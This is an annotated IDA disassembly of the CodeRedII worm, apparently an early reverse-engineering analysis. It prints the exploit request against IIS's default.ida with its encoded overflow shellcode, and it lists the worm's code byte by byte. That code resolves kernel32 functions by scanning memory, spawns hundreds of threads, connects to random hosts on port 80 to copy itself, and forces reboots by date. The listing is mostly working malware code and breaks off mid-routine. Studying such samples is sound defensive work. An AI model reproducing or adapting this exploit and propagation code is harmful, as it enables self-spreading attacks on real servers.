0000 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 0000 0000 sockaddr_in struc ; (sizeof=0x10) ; worm_main+15Ft 0000 ; worm_main+16Dt 0000 sin_family dw ? 0002 sin_port dw ? ; worm_main+15Ft 0004 sin_addr dd ? ; worm_main+16Dt 0008 sin_zero db 8 dup(?) 0010 sockaddr_in ends 0010 0000 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 0000 0000 FD_SET struc ; (sizeof=0x8) ; worm_main+1CBt 0000 ; worm_main+1D8t 0000 fd_count dd ? ; worm_main+1CBt 0004 fd_array dd ? ; worm_main+1D8t 0008 FD_SET ends 0008 0000 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 0000 0000 timeval struc ; (sizeof=0x8) ; worm_main+1B7t 0000 ; worm_main+1C1t 0000 tv_sec dd ? ; worm_main+1B7t 0004 tv_usec dd ? ; worm_main+1C1t 0008 timeval ends 0008 FFFFFFFF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FFFFFFFF FFFFFFFF ; enum FuncTab FFFFFFFF ExitWindowsEx = -74h FFFFFFFF user32_addr = -70h FFFFFFFF WSAGetLastError = -6Ch FFFFFFFF gethostbyname = -68h FFFFFFFF gethostname = -64h FFFFFFFF select = -60h FFFFFFFF ioctlsocket = -5Ch FFFFFFFF recv = -58h FFFFFFFF send = -54h FFFFFFFF connect = -50h FFFFFFFF closesocket = -4Ch FFFFFFFF socket = -48h FFFFFFFF ws2_32_addr = -44h FFFFFFFF GetSystemTime = -40h FFFFFFFF _lclose = -3Ch FFFFFFFF _lwrite = -38h FFFFFFFF _lcreat = -34h FFFFFFFF CloseHandle = -30h FFFFFFFF GlobalAddAtomA = -2Ch FFFFFFFF GlobalFindAtomA = -28h FFFFFFFF CopyFileA = -24h FFFFFFFF GetSystemDirectoryA = -20h FFFFFFFF GetSystemDefaultLangID = -1Ch FFFFFFFF Sleep = -18h FFFFFFFF GetTickCount = -14h FFFFFFFF CreateThread = -10h FFFFFFFF LoadLibraryA = -0Ch FFFFFFFF GetProcAddr = -8 FFFFFFFF kernel32_addr = -4 FFFFFFFF FFFFFFFF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FFFFFFFF FFFFFFFF ; enum LocalVars FFFFFFFF isapi_buf = 8 FFFFFFFF we_are_here = -1C8h FFFFFFFF cur_time = -1C4h ; worm_main+14At FFFFFFFF file_handle = -1B4h FFFFFFFF is_chinese = -1ACh FFFFFFFF my_ip = -1A8h FFFFFFFF buf = -1A4h FFFFFFFF fds = -0A0h ; worm_main+1CBt FFFFFFFF ; worm_main+1D8t FFFFFFFF timeout = -98h ; worm_main+1B7t FFFFFFFF ; worm_main+1C1t FFFFFFFF sin = -90h ; worm_main+15Ft FFFFFFFF ; worm_main+16Dt FFFFFFFF sock = -80h FFFFFFFF random = -7Ch FFFFFFFF thread_id = -78h FFFFFFFF FFFFFFFF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FFFFFFFF FFFFFFFF ; enum isapi FFFFFFFF isapi_ConnID = 8 FFFFFFFF isapi_first_thread_sign = 30h FFFFFFFF isapi_random = 34h FFFFFFFF isapi_WriteClient = 84h FFFFFFFF seg000:00000000 ; seg000:00000000 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» seg000:00000000 ; º This file is generated by The Interactive Disassembler (IDA) º seg000:00000000 ; º Copyright (c) 2000 by DataRescue sa/nv, º seg000:00000000 ; º Evaluation version º seg000:00000000 ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ seg000:00000000 ; seg000:00000000 ; disassembled by corecode 2k+1 seg000:00000000 seg000:00000000 seg000:00000000 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ seg000:00000000 seg000:00000000 ; Segment type: Pure code seg000:00000000 seg000 segment byte public 'CODE' use32 seg000:00000000 47 45 54 20 2F+aRequest db 'GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' seg000:00000000 64 65 66 61 75+ db 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' seg000:00000000 6C 74 2E 69 64+ db 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' seg000:00000000 61 3F 58 58 58+ db 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%uc' seg000:00000000 58 58 58 58 58+ db 'bd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%' seg000:00000000 58 58 58 58 58+ db 'u531b%u53ff%u0078%u0000%u00=a HTTP/1.0',0Dh,0Ah seg000:00000000 58 58 58 58 58+ db 'Content-type: text/xml',0Ah seg000:00000000 58 58 58 58 58+ db 'Content-length: 3379 ',0Dh,0Ah seg000:00000000 58 58 58 58 58+ db 0Dh,0Ah seg000:000001B7 seg000:000001B7 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:000001B7 seg000:000001B7 seg000:000001B7 worm_entry proc near ; worm_main+EDj seg000:000001B7 C8 C8 01 00 enter 1C8h, 0 ; setup variables seg000:000001BB 60 pusha ; Push all General Registers seg000:000001BC E8 03 00 00 00 call worm_main ; Call Procedure seg000:000001C1 CC int 3 ; Trap to Debugger seg000:000001C2 EB FE jmp short $ ; Jump seg000:000001C2 worm_entry endp seg000:000001C2 seg000:000001C4 seg000:000001C4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:000001C4 seg000:000001C4 ; Attributes: hidden seg000:000001C4 seg000:000001C4 worm_main proc near ; worm_entry+5p seg000:000001C4 64 67 FF 36 00+ push dword ptr fs:0 seg000:000001CA 64 67 89 26 00+ mov fs:0, esp seg000:000001D0 E8 DF 02 00 00 call setup_functab ; Call Procedure seg000:000001D5 68 04 01 00 00 push 260 ; push length seg000:000001DA 8D 85 5C FE FF+ lea eax, [ebp+buf] ; Load Effective Address seg000:000001E0 50 push eax ; push addr of buf seg000:000001E1 FF 55 9C call dword ptr [ebp+gethostname] ; get hostname seg000:000001E4 8D 85 5C FE FF+ lea eax, [ebp+buf] ; Load Effective Address seg000:000001EA 50 push eax ; push addr of buf seg000:000001EB FF 55 98 call dword ptr [ebp+gethostbyname] ; get host info seg000:000001EE 8B 40 10 mov eax, [eax+10h] ; get h_addr_list seg000:000001F1 8B 08 mov ecx, [eax] ; get h_addr seg000:000001F3 89 8D 58 FE FF+ mov [ebp+my_ip], ecx ; save our ip seg000:000001F9 FF 55 E4 call dword ptr [ebp+GetSystemDefaultLangID] ; Indirect Call Near Procedure seg000:000001FC 3D 04 04 00 00 cmp eax, 404h ; are we chinese (taiwan)? seg000:00000201 0F 94 C1 setz cl ; Set Byte if Zero (ZF=1) seg000:00000204 3D 04 08 00 00 cmp eax, 804h ; or are we chinese (PRC)? seg000:00000209 0F 94 C5 setz ch ; Set Byte if Zero (ZF=1) seg000:0000020C 0A CD or cl, ch ; kombine seg000:0000020E 0F B6 C9 movzx ecx, cl ; Move with Zero-Extend seg000:00000211 89 8D 54 FE FF+ mov [ebp+is_chinese], ecx ; save the state seg000:00000217 8B 75 08 mov esi, [ebp+isapi_buf] seg000:0000021A 81 7E 30 9A 02+ cmp dword ptr [esi+isapi_first_thread_sign], 666 ; have we been here already? seg000:00000221 0F 84 C4 00 00+ jz new_thread ; yes -> move on seg000:00000227 C7 46 30 9A 02+ mov dword ptr [esi+isapi_first_thread_sign], 666 ; no. set our mark seg000:0000022E E8 0A 00 00 00 call loc_0_23D ; Call Procedure seg000:0000022E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000233 43 6F 64 65 52+aCoderedii db 'CodeRedII',0 seg000:0000023D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:0000023D seg000:0000023D loc_0_23D: ; worm_main+6Ap seg000:0000023D 8B 1C 24 mov ebx, [esp] seg000:00000240 FF 55 D8 call dword ptr [ebp+GlobalFindAtomA] ; find atom "CodeRedII" seg000:00000243 66 0B C0 or ax, ax ; Logical Inclusive OR seg000:00000246 0F 95 85 38 FE+ setnz byte ptr [ebp+we_are_here] ; save status seg000:0000024D C7 85 50 FE FF+ mov dword ptr [ebp-1B0h], 1 seg000:00000257 6A 00 push 0 ; dwReserved seg000:00000259 8D 85 50 FE FF+ lea eax, [ebp-1B0h] ; Load Effective Address seg000:0000025F 50 push eax ; lpdwBytes seg000:00000260 8D 85 38 FE FF+ lea eax, [ebp+we_are_here] ; Load Effective Address seg000:00000266 50 push eax ; Buffer seg000:00000267 8B 45 08 mov eax, [ebp+isapi_buf] seg000:0000026A FF 70 08 push dword ptr [eax+isapi_ConnID] ; ConnID seg000:0000026D FF 90 84 00 00+ call dword ptr [eax+isapi_WriteClient] ; send status back to the client seg000:00000273 80 BD 38 FE FF+ cmp byte ptr [ebp+we_are_here], 1 ; Compare Two Operands seg000:0000027A 74 68 jz short loop_sleepforever ; Jump if Zero (ZF=1) seg000:0000027C 53 push ebx ; set atom "CodeRedII" seg000:0000027D FF 55 D4 call dword ptr [ebp+GlobalAddAtomA] ; Indirect Call Near Procedure seg000:00000280 FF 55 EC call dword ptr [ebp+GetTickCount] ; produce a random number seg000:00000283 01 45 84 add [ebp+random], eax ; Add seg000:00000286 69 BD 54 FE FF+ imul edi, [ebp+is_chinese], -0FFFFFED4h ; edi = is_chinese * 300 seg000:00000290 81 C7 2C 01 00+ add edi, 300 ; set the threadcount to 300 (+ chinese) seg000:00000296 seg000:00000296 loop_createthreads: ; worm_main+FEj seg000:00000296 E8 D2 04 00 00 call rand ; Call Procedure seg000:0000029B F7 D0 not eax ; One's Complement Negation seg000:0000029D 0F AF C7 imul eax, edi ; Signed Multiply seg000:000002A0 89 46 34 mov [esi+isapi_random], eax seg000:000002A3 8D 45 88 lea eax, [ebp+thread_id] ; Load Effective Address seg000:000002A6 50 push eax ; lpThreadId seg000:000002A7 6A 00 push 0 ; dwCreationFlags seg000:000002A9 FF 75 08 push dword ptr [ebp+isapi_buf] ; lpParameter seg000:000002AC E8 05 00 00 00 call loc_0_2B6 ; lpStartAddress = restart_worm seg000:000002B1 seg000:000002B1 restart_worm: ; Jump seg000:000002B1 E9 01 FF FF FF jmp worm_entry seg000:000002B6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000002B6 seg000:000002B6 loc_0_2B6: ; worm_main+E8p seg000:000002B6 6A 00 push 0 ; dwStackSize = default seg000:000002B8 6A 00 push 0 ; lpThreadAttributes = default seg000:000002BA FF 55 F0 call dword ptr [ebp+CreateThread] ; create new thread seg000:000002BD 50 push eax seg000:000002BE FF 55 D0 call dword ptr [ebp+CloseHandle] ; we don't need the thread object, so we'll close it now seg000:000002C1 4F dec edi ; Decrement by 1 seg000:000002C2 75 D2 jnz short loop_createthreads ; Jump if Not Zero (ZF=0) seg000:000002C4 E8 3B 05 00 00 call write_files ; Call Procedure seg000:000002C9 69 BD 54 FE FF+ imul edi, [ebp+is_chinese], -0FAD9A400h ; edi = is_chinese * 24 hours seg000:000002D3 81 C7 00 5C 26+ add edi, 86400000 ; set dwMilliseconds to 24 hours (+ chinese) seg000:000002D9 57 push edi seg000:000002DA FF 55 E8 call dword ptr [ebp+Sleep] ; sleep 24 hours (or 48, if chinese) seg000:000002DD seg000:000002DD reboot_windows: ; worm_main+148j seg000:000002DD 6A 00 ; worm_main+154j seg000:000002DD push 0 seg000:000002DF 6A 16 push 16h ; uFlags = EWX_REBOOT | EWX_POWEROFF | EWX_FORCEIFHUNG seg000:000002E1 FF 55 8C call dword ptr [ebp+ExitWindowsEx] ; do it - reboot seg000:000002E4 seg000:000002E4 loop_sleepforever: ; worm_main+B6j seg000:000002E4 6A FF ; worm_main+125j seg000:000002E4 push -1 ; huh? can't reboot? seg000:000002E6 FF 55 E8 call dword ptr [ebp+Sleep] ; sleep infinite seg000:000002E9 EB F9 jmp short loop_sleepforever ; Jump seg000:000002EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000002EB seg000:000002EB new_thread: ; worm_main+5Dj seg000:000002EB 8B 46 34 mov eax, [esi+isapi_random] seg000:000002EE 29 45 84 sub [ebp+random], eax ; Integer Subtraction seg000:000002F1 seg000:000002F1 work_loop: ; worm_main+241j seg000:000002F1 6A 64 push 100 seg000:000002F3 FF 55 E8 call dword ptr [ebp+Sleep] ; sleep a 10th of a second seg000:000002F6 8D 85 3C FE FF+ lea eax, [ebp+cur_time] ; Load Effective Address seg000:000002FC 50 push eax seg000:000002FD FF 55 C0 call dword ptr [ebp+GetSystemTime] ; get time seg000:00000300 0F B7 85 3C FE+ movzx eax, word ptr [ebp+cur_time] ; get year seg000:00000307 3D D2 07 00 00 cmp eax, 2002 ; Compare Two Operands seg000:0000030C 73 CF jnb short reboot_windows ; if it's >= 2002, reboot seg000:0000030E 0F B7 85 3E FE+ movzx eax, word ptr [ebp+cur_time+2] ; get month seg000:00000315 83 F8 0A cmp eax, 10 ; Compare Two Operands seg000:00000318 73 C3 jnb short reboot_windows ; if it's >= october, reboot seg000:0000031A 66 C7 85 70 FF+ mov word ptr [ebp+sin], 2 ; AF_INET seg000:00000323 66 C7 85 72 FF+ mov word ptr [ebp+sin+sockaddr_in.sin_port], 5000h ; little endian 80 seg000:0000032C E8 64 04 00 00 call create_ip ; Call Procedure seg000:00000331 89 9D 74 FF FF+ mov [ebp+sin+sockaddr_in.sin_addr], ebx seg000:00000337 seg000:00000337 loop_createsock: ; worm_main+17Fj seg000:00000337 6A 00 push 0 ; IPPROTO_IP seg000:00000339 6A 01 push 1 ; SOCK_STREAM seg000:0000033B 6A 02 push 2 ; PF_INET seg000:0000033D FF 55 B8 call dword ptr [ebp+socket] ; create socket seg000:00000340 83 F8 FF cmp eax, -1 ; failed? seg000:00000343 74 F2 jz short loop_createsock ; then, repeat! seg000:00000345 89 45 80 mov [ebp+sock], eax seg000:00000348 6A 01 push 1 ; true = non-block seg000:0000034A 54 push esp ; addr of this seg000:0000034B 68 7E 66 04 80 push 8004667Eh ; FIONBIO seg000:00000350 FF 75 80 push dword ptr [ebp+sock] seg000:00000353 FF 55 A4 call dword ptr [ebp+ioctlsocket] ; set sock to non-blocking mode seg000:00000356 59 pop ecx ; adjust stack seg000:00000357 6A 10 push 10h ; namelen = sizeof(sockaddr_in) seg000:00000359 8D 85 70 FF FF+ lea eax, [ebp+sin] ; Load Effective Address seg000:0000035F 50 push eax ; sockaddr seg000:00000360 FF 75 80 push dword ptr [ebp+sock] seg000:00000363 FF 55 B0 call dword ptr [ebp+connect] ; connect seg000:00000366 BB 01 00 00 00 mov ebx, 1 seg000:0000036B 0B C0 or eax, eax ; Logical Inclusive OR seg000:0000036D 74 4B jz short socket_connected ; no error? seg000:0000036F 33 DB xor ebx, ebx ; Logical Exclusive OR seg000:00000371 FF 55 94 call dword ptr [ebp+WSAGetLastError] ; Indirect Call Near Procedure seg000:00000374 3D 33 27 00 00 cmp eax, 10035 ; last error was WSAEWOULDBLOCK ? seg000:00000379 75 3F jnz short socket_connected ; Jump if Not Zero (ZF=0) seg000:0000037B C7 85 68 FF FF+ mov dword ptr [ebp+timeout+timeval.tv_sec], 10 ; setup timeval struct: 10sec seg000:00000385 C7 85 6C FF FF+ mov dword ptr [ebp+timeout+timeval.tv_usec], 0 ; 0 usec seg000:0000038F C7 85 60 FF FF+ mov dword ptr [ebp+fds+FD_SET.fd_count], 1 ; setup fdset struct: count = 1 seg000:00000399 8B 45 80 mov eax, [ebp+sock] seg000:0000039C 89 85 64 FF FF+ mov [ebp+fds+FD_SET.fd_array], eax ; insert sock seg000:000003A2 8D 85 68 FF FF+ lea eax, [ebp+timeout] ; Load Effective Address seg000:000003A8 50 push eax ; timeval seg000:000003A9 6A 00 push 0 ; exceptfds = NULL seg000:000003AB 8D 85 60 FF FF+ lea eax, [ebp+fds] ; Load Effective Address seg000:000003B1 50 push eax ; writefds seg000:000003B2 6A 00 push 0 ; readfds = NULL seg000:000003B4 6A 01 push 1 ; nfds (ignore) seg000:000003B6 FF 55 A0 call dword ptr [ebp+select] ; Indirect Call Near Procedure seg000:000003B9 93 xchg eax, ebx ; save result to ebx seg000:000003BA seg000:000003BA socket_connected: ; worm_main+1A9j seg000:000003BA 6A 00 ; worm_main+1B5j seg000:000003BA push 0 ; false = block seg000:000003BC 54 push esp seg000:000003BD 68 7E 66 04 80 push 8004667Eh ; FIONBIO seg000:000003C2 FF 75 80 push dword ptr [ebp+sock] seg000:000003C5 FF 55 A4 call dword ptr [ebp+ioctlsocket] ; set to blocking behaviour seg000:000003C8 59 pop ecx ; readjust stack seg000:000003C9 83 FB 01 cmp ebx, 1 ; did we have an error? seg000:000003CC 75 31 jnz short loop_socket ; if yes -> close seg000:000003CE E8 00 00 00 00 call $+5 ; get current pos seg000:000003D3 58 pop eax seg000:000003D4 2D D3 03 00 00 sub eax, 3D3h ; get start of worm seg000:000003D9 6A 00 push 0 ; flags = 0 seg000:000003DB 68 EA 0E 00 00 push 3818 ; len seg000:000003E0 50 push eax ; start of wormcode (including request) seg000:000003E1 FF 75 80 push dword ptr [ebp+sock] seg000:000003E4 FF 55 AC call dword ptr [ebp+send] ; send us seg000:000003E7 3D EA 0E 00 00 cmp eax, 3818 ; did we send all? seg000:000003EC 75 11 jnz short loop_socket ; Jump if Not Zero (ZF=0) seg000:000003EE 6A 00 push 0 ; flags = 0 seg000:000003F0 6A 01 push 1 ; count = 1 seg000:000003F2 8D 85 5C FE FF+ lea eax, [ebp+buf] ; Load Effective Address seg000:000003F8 50 push eax seg000:000003F9 FF 75 80 push dword ptr [ebp+sock] seg000:000003FC FF 55 A8 call dword ptr [ebp+recv] ; recv one byte response seg000:000003FF seg000:000003FF loop_socket: ; worm_main+208j seg000:000003FF FF 75 80 ; worm_main+228j seg000:000003FF push dword ptr [ebp+sock] seg000:00000402 FF 55 B4 call dword ptr [ebp+closesocket] ; close the socket seg000:00000405 E9 E7 FE FF FF jmp work_loop ; restart seg000:00000405 worm_main endp seg000:00000405 seg000:0000040A seg000:0000040A ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:0000040A seg000:0000040A seg000:0000040A search_getprocaddr proc near ; setup_functabp seg000:0000040A BB 00 00 DF 77 mov ebx, 77DF0000h ; set start addr seg000:0000040F seg000:0000040F loc_0_40F: ; search_getprocaddr+2Aj seg000:0000040F 81 C3 00 00 01+ add ebx, 10000h ; search in 0x1000 increments seg000:00000415 81 FB 00 00 00+ cmp ebx, 78000000h ; are we at the end of that block? seg000:0000041B 75 05 jnz short low_addr ; Jump if Not Zero (ZF=0) seg000:0000041D BB 00 00 F0 BF mov ebx, 0BFF00000h ; if yes -> set new start addr seg000:00000422 seg000:00000422 low_addr: ; search_getprocaddr+11j seg000:00000422 60 pusha ; Push all General Registers seg000:00000423 E8 0E 00 00 00 call check_exe ; Call Procedure seg000:00000428 8B 64 24 08 mov esp, [esp+8] seg000:0000042C seg000:0000042C loc_0_42C: ; search_getprocaddr+3Dj seg000:0000042C 64 67 8F 06 00+ ; search_getprocaddr+49j ... seg000:0000042C 00 pop dword ptr fs:0 seg000:00000432 58 pop eax seg000:00000433 61 popa ; Pop all General Registers seg000:00000434 EB D9 jmp short loc_0_40F ; Jump seg000:00000436 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:00000436 seg000:00000436 check_exe: ; search_getprocaddr+19p seg000:00000436 64 67 FF 36 00+ push dword ptr fs:0 seg000:0000043C 64 67 89 26 00+ mov fs:0, esp seg000:00000442 66 81 3B 4D 5A cmp word ptr [ebx], 5A4Dh ; check for 'MZ' exe sign seg000:00000447 75 E3 jnz short loc_0_42C ; Jump if Not Zero (ZF=0) seg000:00000449 8B 4B 3C mov ecx, [ebx+3Ch] ; offset to PE header seg000:0000044C 81 3C 0B 50 45+ cmp dword ptr [ebx+ecx], 4550h ; check for 'PE' sign seg000:00000453 75 D7 jnz short loc_0_42C ; Jump if Not Zero (ZF=0) seg000:00000455 8B 54 0B 78 mov edx, [ebx+ecx+78h] ; get export table RVA seg000:00000459 03 D3 add edx, ebx ; Add seg000:0000045B 8B 42 0C mov eax, [edx+0Ch] ; get DLL name seg000:0000045E 81 3C 03 4B 45+ cmp dword ptr [ebx+eax], 4E52454Bh ; is it "KERN"? seg000:00000465 75 C5 jnz short loc_0_42C ; Jump if Not Zero (ZF=0) seg000:00000467 81 7C 03 04 45+ cmp dword ptr [ebx+eax+4], 32334C45h ; are the next 4 bytes "EL32"? seg000:0000046F 75 BB jnz short loc_0_42C ; Jump if Not Zero (ZF=0) seg000:00000471 33 C9 xor ecx, ecx ; Logical Exclusive OR seg000:00000473 49 dec ecx ; Decrement by 1 seg000:00000474 8B 72 20 mov esi, [edx+20h] ; get name pointer table RVA seg000:00000477 03 F3 add esi, ebx ; Add seg000:00000479 FC cld ; Clear Direction Flag seg000:0000047A seg000:0000047A loop_functions: ; search_getprocaddr+79j seg000:0000047A 41 ; search_getprocaddr+83j seg000:0000047A inc ecx ; Increment by 1 seg000:0000047B AD lodsd ; Load String seg000:0000047C 81 3C 03 47 65+ cmp dword ptr [ebx+eax], 50746547h ; is the name "GetP"? seg000:00000483 75 F5 jnz short loop_functions ; Jump if Not Zero (ZF=0) seg000:00000485 81 7C 03 04 72+ cmp dword ptr [ebx+eax+4], 41636F72h ; are the next 4 bytes "rocA"? seg000:0000048D 75 EB jnz short loop_functions ; Jump if Not Zero (ZF=0) seg000:0000048F 03 4A 10 add ecx, [edx+10h] ; get ordinal base seg000:00000492 49 dec ecx ; Decrement by 1 seg000:00000493 D1 E1 shl ecx, 1 ; adjust to word size of ordinal entries seg000:00000495 03 4A 24 add ecx, [edx+24h] ; add ordinal table RVA seg000:00000498 0F B7 0C 0B movzx ecx, word ptr [ebx+ecx] ; get entry # seg000:0000049C C1 E1 02 shl ecx, 2 ; adjust to dword size seg000:0000049F 03 4A 1C add ecx, [edx+1Ch] ; get address table RVA seg000:000004A2 8B 04 0B mov eax, [ebx+ecx] ; get RVA of GetProcAddr seg000:000004A5 03 C3 add eax, ebx ; Add seg000:000004A7 89 44 24 24 mov [esp+24h], eax ; save eax into the pusha block seg000:000004AB 64 67 8F 06 00+ pop dword ptr fs:0 seg000:000004B1 58 pop eax seg000:000004B2 61 popa ; Pop all General Registers seg000:000004B3 C3 retn ; Return Near from Procedure seg000:000004B3 search_getprocaddr endp ; sp = 4 seg000:000004B3 seg000:000004B4 seg000:000004B4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ seg000:000004B4 seg000:000004B4 seg000:000004B4 setup_functab proc near ; worm_main+Cp seg000:000004B4 E8 51 FF FF FF call search_getprocaddr ; Call Procedure seg000:000004B9 89 5D FC mov [ebp+kernel32_addr], ebx seg000:000004BC 89 45 F8 mov [ebp+GetProcAddr], eax seg000:000004BF E8 0D 00 00 00 call loc_0_4D1 ; Call Procedure seg000:000004BF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000004C4 4C 6F 61 64 4C+aLoadlibrarya db 'LoadLibraryA',0 seg000:000004D1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000004D1 seg000:000004D1 loc_0_4D1: ; setup_functab+Bp seg000:000004D1 FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:000004D4 FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000004D7 89 45 F4 mov [ebp+LoadLibraryA], eax seg000:000004DA E8 0D 00 00 00 call loc_0_4EC ; Call Procedure seg000:000004DA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000004DF 43 72 65 61 74+aCreatethread db 'CreateThread',0 seg000:000004EC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000004EC seg000:000004EC loc_0_4EC: ; setup_functab+26p seg000:000004EC FF 75 FC push dword ptr [ebp+kernel32_addr] seg000:000004EF FF 55 F8 call dword ptr [ebp+GetProcAddr] ; Indirect Call Near Procedure seg000:000004F2 89 45 F0 mov [ebp+CreateThread], eax seg000:000004F5 E8 0D 00 00 00 call loc_0_507 ; Call Procedure seg000:000004F5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ seg000:000004FA 47 